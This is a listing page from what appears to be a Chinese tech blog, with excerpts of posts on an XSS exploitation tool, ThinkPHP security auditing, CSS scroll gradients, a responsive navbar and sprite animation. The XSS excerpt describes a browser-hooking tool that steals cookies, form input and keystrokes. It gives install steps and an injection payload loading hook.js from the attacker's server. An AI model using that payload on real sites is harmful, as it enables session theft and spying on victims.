如果朋友走上了错误的人生道路,就算破坏友情也要阻止他
们将在这个小小的城镇中相互扶持,共同生活下去
今宵之月,绝不西沉。只此美梦,不再苏醒。从今往后,生生世世,长相厮守,为你立誓。
我们不能让这次冒险之旅没有意义没有收获
我们的本质就是血,一层层地重复,然后世代脉脉相传的血才是黑血的真实
当你知道自己被爱著的时候就不会自卑了asd
不要哭,我还没有努力到要哭的程度,不甘心就可以了das
既不回头,何必不忘;既然无缘,何必誓言;今日种种,似水无痕
空谈之类,是谈不久,也谈不出什么来的,它终必被事实的镜子照出原形,拖出尾巴而去
只愿涤荡四方,护得一世之隅。
你看你浪费了多少流星,哈哈……不牵个手也很浪费这样的夜晚呢
有形的东西迟早会凋零,但只有回忆是永远不会凋零的
已经无法回来的东西,得到和舍弃都很痛苦
Pain past is pleasure.11222
我因为后来离开村子,在远处看见这一村庄人的火焰。看见他们比熄灭还要寂静的那一场燃烧。我像一根逃出火堆的干柴,幸运而孤独地站在远处。
首页
统计
免费Chat GPT
关于
更多
友链
每日新闻
视频
高清壁纸
Search
1
2023彩虹易支付最新原版开源网站源码,完整的易支付源码,无后门
466 阅读
2
ThinkPHP6的常见问题解答
387 阅读
3
Spring Boot之七牛云分片上传
241 阅读
4
小狐狸ChatGPT付费创作系统V2.4.9独立版 +WEB端+ H5端 + 小程序端(支持分享朋友圈、破解弹窗)
230 阅读
5
国内最好用的六款虚拟机软件
213 阅读
技术分享
源码分享
课程分享
号卡套餐
移动专区
电信专区
联通专区
广电专区
软件仓库
电脑软件
安卓软件
活动线报
值得一看
Search
标签搜索
技术分享
源码
源码分享
css
安卓软件
活动线报
软件
课程分享
号卡
电脑软件
PHP
值得一看
HTML
js
教程
chatgpt
AI
小程序
ThinkPHP
联通
老K博客
累计撰写
421
篇文章
累计收到
339
条评论
今日撰写
1
篇文章
首页
栏目
技术分享
源码分享
课程分享
号卡套餐
移动专区
电信专区
联通专区
广电专区
软件仓库
电脑软件
安卓软件
活动线报
值得一看
页面
统计
免费Chat GPT
关于
友链
每日新闻
视频
高清壁纸
用户登录
登录
搜索到
117
篇与
的结果
2024-03-08
专注XSS跨站脚本漏洞利用工具
工具简介XSS Exploitation Tool是一款渗透测试工具,专注于跨站脚本漏洞的利用。该工具仅用于教育目的,请勿在真实环境中使用它!工具功能:有关受害浏览器的技术数据受害者的地理位置被吸引/访问过的页面的快照被钩住/访问的页面的源代码窃取输入字段数据渗出cookie键盘记录显示警告框重定向用户 工具安装在 Debian 11 上测试,您可能需要 Apache、Mysql 数据库和 PHP 模块: $ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom $ sudo rm /var/www/index.html安装 Git 并提取 XSS-Exploitation-Tool 源代码: $ sudo apt-get install git $ cd /tmp $ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git $ sudo mv XSS-Exploitation-Tool/* /var/www/html/安装 Composer,然后安装应用程序依赖项: $ sudo apt-get install composer $ cd /var/www/html/ $ sudo chown -R $your_debian_user:$your_debian_user /var/www/ $ composer install $ sudo chown -R www-data:$www-data /var/www/初始化数据库$ sudo mysql创建具有特定权限的新用户: MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet'; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> flush privileges; Query OK, 0 rows affected (0.00 sec) MariaDB [(none)]> quit Bye创建数据库(将产生一个空页):访问页面 http://server-ip/reset_database.php修改javascript钩子文件hook.js 是一个钩子文件 ,您需要将第一行的ip地址替换为XSS利用工具服务器的ip地址:var address = "your server ip";工具使用首先,创建一个页面(或利用跨站脚本漏洞)来插入 Javascript 挂钩文件(请参阅根目录下的exploit.html):?vulnerable_param=<script src="http://your_server_ip/hook.js"/>然后,当受害者访问被挂钩的页面时,XSS利用工具服务器应该列出被挂钩的浏览器: 工具地址隐藏内容,请前往内页查看详情
2024年03月08日
29 阅读
0 评论
0 点赞
2024-03-04
ThinkPHP开发经验总结:如何进行代码安全检测
摘要本文是关于ThinkPHP代码安全检测的经验总结和建议。文章首先介绍了ThinkPHP作为广泛使用的PHP开发框架的背景,然后强调了网络安全问题的重要性,特别是在代码安全检测方面。接着,文章列举了常见的ThinkPHP安全漏洞,并提出了针对性的安全检测建议,包括使用安全验证、代码审计、更新框架和插件、安全性测试以及记录与学习等方面。首先,我们需要关注代码中的漏洞。由于ThinkPHP是一个开源框架,其代码可以被任何人查看和修改,这也给黑客们提供了攻击的机会。因此,我们需要在编写和使用ThinkPHP代码时,时刻关注可能存在的漏洞,并通过安全检测来确保我们的代码安全。一、常见的安全漏洞以下是一些常见的ThinkPHP安全漏洞:SQL注入、XSS攻击、文件上传漏洞、代码执行漏洞等。对于这些漏洞,我们需要针对性地进行安全检测,以确保我们的代码不会受到恶意攻击。二、使用安全验证在编写和使用ThinkPHP代码时,我们应该始终使用安全验证机制。ThinkPHP框架提供了一个强大且灵活的验证类,可以帮助我们过滤和验证用户输入的数据。通过使用验证类,我们可以有效防止SQL注入和XSS攻击等安全威胁。三、代码审计代码审计是一个非常重要的安全检测环节。通过仔细审查代码,我们可以发现潜在的安全问题,并进行修复。在进行代码审计时,我们应该关注一些常见的漏洞点,比如不安全的数据库操作、未经过滤的用户输入、敏感信息的处理等。同时,我们还可以借助一些代码审计工具来提高效率。四、更新框架和插件ThinkPHP框架及其相关插件在不断发展和完善中,安全问题也会得到修复和升级。因此,我们应该经常关注官方的更新和升级通知,并及时更新我们的框架和插件。只有使用最新的版本,我们才能更好地保障代码的安全性。五、安全性测试安全性测试对于代码安全检测来说是一个不可或缺的环节。我们可以使用一些安全测试工具,对我们的应用进行渗透测试,以发现潜在的安全问题。此外,也可以邀请专业人士进行安全性评估,以获得更全面的安全检测结果。六、记录与学习在代码安全检测的过程中,我们应该记录并总结所有发现的安全问题和解决方案。这样,对于类似问题的防范措施,我们就不必每次都重新思考。同时,我们也可以通过学习相关的网络安全知识,不断提高自己的安全意识和代码安全能力。总结:代码安全检测是我们开发工作中至关重要的一环。通过建立一套完善的代码安全检测机制,我们可以更好地保护我们的应用和数据安全。在使用ThinkPHP进行开发时,我们应该时刻保持警惕,关注各种安全漏洞,并时刻更新我们的框架和插件版本。只有通过不断的安全检测和提升,我们才能写出更加安全可靠的代码。
2024年03月04日
34 阅读
0 评论
0 点赞
2024-02-22
如何通过纯CSS实现网页的平滑滚动背景渐变效果
摘要本文介绍了如何通过纯CSS实现网页的平滑滚动背景渐变效果,以提升网站的美感和动态感,为用户提供舒适的浏览体验。文章首先解释了背景渐变效果的实现原理,然后详细阐述了平滑滚动背景渐变效果的实现步骤,包括创建滚动容器、添加背景渐变效果以及添加滚动事件监听器等。背景渐变效果实现原理在实现平滑滚动背景渐变效果前,我们先了解一下背景渐变的实现原理。CSS中可以通过linear-gradient()函数实现背景渐变效果。该函数接受一个起始颜色和一个结束颜色,并根据选择的方向和位置进行渐变填充。平滑滚动背景渐变效果实现步骤创建一个具有滚动效果的容器。<div class="container"> <!-- 网页内容 --> </div>.container { height: 100vh; overflow-y: scroll; }该容器使用vh单位设置高度为视口高度,并设置 overflow-y 属性为 scroll 以实现垂直滚动效果。添加滚动事件监听器。通过JavaScript给容器添加滚动事件监听器,以便在滚动过程中更新背景渐变的位置。const container = document.querySelector('.container'); container.addEventListener('scroll', () => { const scrollTop = container.scrollTop; const scrollHeight = container.scrollHeight; const windowHeight = window.innerHeight; const progress = (scrollTop / (scrollHeight - windowHeight)) * 100; container.style.backgroundPositionY = `${progress}%`; });在滚动事件的回调函数中,我们获取容器的滚动位置scrollTop、容器的总高度scrollHeight、视口高度windowHeight,并根据滚动进度更新背景渐变的位置。通过计算比例progress,实现背景渐变位置的平滑滚动效果。最后,通过设置backgroundPositionY属性将更新后的变量应用到背景渐变。完整代码示例<!DOCTYPE html> <html> <head> <title>平滑滚动背景渐变效果</title> <style> .container { height: 100vh; overflow-y: scroll; background: linear-gradient(to bottom, #000000, #ffffff); } </style> </head> <body> <div class="container"> <!-- 网页内容 --> </div> <script> const container = document.querySelector('.container'); container.addEventListener('scroll', () => { const scrollTop = container.scrollTop; const scrollHeight = container.scrollHeight; const windowHeight = window.innerHeight; const progress = (scrollTop / (scrollHeight - windowHeight)) * 100; container.style.backgroundPositionY = `${progress}%`; }); </script> </body> </html>
2024年02月22日
32 阅读
0 评论
0 点赞
2024-02-16
如何灵活运用CSS Positions布局设计响应式导航栏
在现代网页设计中,响应式导航栏是一个非常关键的组成部分。它能够给用户提供更良好的使用体验,并且能够适应各种不同屏幕尺寸的设备。在本文中,我们将介绍如何使用CSS Positions布局设计一个灵活的响应式导航栏,并提供具体的代码示例。第一步是创建导航栏的HTML结构。我们可以使用一个元素作为导航栏的容器,并在其中添加一个无序列表来存放导航菜单项。<nav> <ul> <li><a herf="#">首页</a></li> <li><a herf="#">产品</a></li> <li><a herf="#">关于老K</a></li> <li><a herf="#"></a>联系我们</li>接下来,我们将使用CSS样式来布局导航栏,并使其具有响应式的特性。首先,我们将给导航栏添加一些基本的样式,如背景颜色、高度和边框等。nav { background-color: #333; height: 60px; border-bottom: 1px solid #ccc; }然后,我们需要将导航菜单项水平排列,并且使其居中显示。这里,我们可以使用CSS的 flexbox 属性来实现。ul { display: flex; justify-content: center; padding: 0; margin: 0; list-style-type: none; }接下来,我们给导航菜单项添加一些样式,如文字颜色、内边距和悬停效果。li { padding: 0 15px; } a { color: #fff; text-decoration: none; } a:hover { color: #ccc; }到目前为止,我们已经实现了一个基本的导航栏布局。接下来,我们将介绍如何使用CSS Positions来实现响应式的导航栏。在默认情况下,导航菜单项会水平排列,但在小屏幕设备上,我们希望将导航菜单项垂直排列。这时候,我们可以使用CSS Positions的 @media 查询来实现。@media screen and (max-width: 600px) { /* 在小屏幕上,导航菜单项垂直排列 */ ul { flex-direction: column; } }在上述代码中,我们定义了一个 @media 查询,当屏幕宽度小于600像素时,导航菜单项将垂直排列。另外,我们还可以在小屏幕上,通过使用CSS Positions来将导航栏的内容隐藏起来,并且在需要时显示出来。这样,可以节省页面空间并提供更好的用户体验。@media screen and (max-width: 600px) { /* 隐藏导航菜单项 */ ul { display: none; } /* 添加一个按钮来显示导航菜单项 */ .menu-toggle { display: inline-block; background-color: #333; color: #fff; padding: 10px 20px; text-decoration: none; } }在上述代码中,我们定义了一个 menu-toggle 类,用于创建一个按钮来显示导航菜单项。并且使用CSS Positions中的 display: none; 属性来隐藏导航菜单项。最后,我们需要通过JavaScript来实现按钮的点击事件,在用户点击按钮时,显示或隐藏导航菜单项。document.querySelector('.menu-toggle').addEventListener('click', function() { document.querySelector('ul').classList.toggle('show'); });在上述JavaScript代码中,我们通过添加show类来显示或隐藏导航菜单项。通过上述步骤,我们已经成功地创建了一个灵活的响应式导航栏。当屏幕宽度小于600像素时,导航菜单项将垂直排列,并且通过点击按钮来显示或隐藏菜单项。
2024年02月16日
40 阅读
1 评论
0 点赞
2024-02-16
html5怎么添加图片动画效果
html5添加图片动画效果的方法:方法一:利用css3 animation的steps实现spirit精灵动画;在应用 CSS3 渐变/动画时,有个控制时间的属性 。它的取值中除了常用到的 三次贝塞尔曲线 以外,还有个让人比较困惑的 steps() 函数。steps() 第一个参数 number 为指定的间隔数(必须是正整数),即把动画分为 n 步阶段性展示,第二个参数默认为 end,设置最后一步的状态,start 为结束时的状态,end 为开始时的状态。那么有了这个 steps() ,我们就可以实现web中常见的Sprite 精灵动画了,见demo:.bird{background: url(bird.png);width: 140px;height:85px;animation: bird 2s steps(8) infinite; } @keyframes bird{ from { background-position: 0 0; } to { background-position: -800% 0px; } }方法二:利用html5 canvas实现gif图片;利用canvas的drawImage把含有帧的图片加载到canvas中去,再结合js实现动画,见demo:canvas帧--实现动画 *{padding:0;margin:0;} canvas{display:block;background:white} var imgPic = new Image(); imgPic.src = 'http://www.cj365.cc/demo/bird/bird.png'; var canvas = document.querySelector('canvas'); canvas.width = window.innerWidth; canvas.height = window.innerHeight; var ctx = canvas.getContext('2d'); imgPic.onload = function () { drawImg() } var i = 0; var lastTime = new Date().getTime(); var delatime; var timer = 0; function drawImg() { window.requestAnimationFrame(drawImg); var now = new Date().getTime(); delatime = now - lastTime; lastTime = now; timer += delatime; if (timer > 200) { i++; if (i > 7) i = 0; timer = 0 } console.log(delatime) ctx.drawImage(imgPic, i * 140, 0, 140, 85, (canvas.width - 140) / 2, (canvas.height - 85) / 2, 140, 85); }
2024年02月16日
40 阅读
0 评论
0 点赞
1
...
12
13
14
...
24
CC BY-NC-ND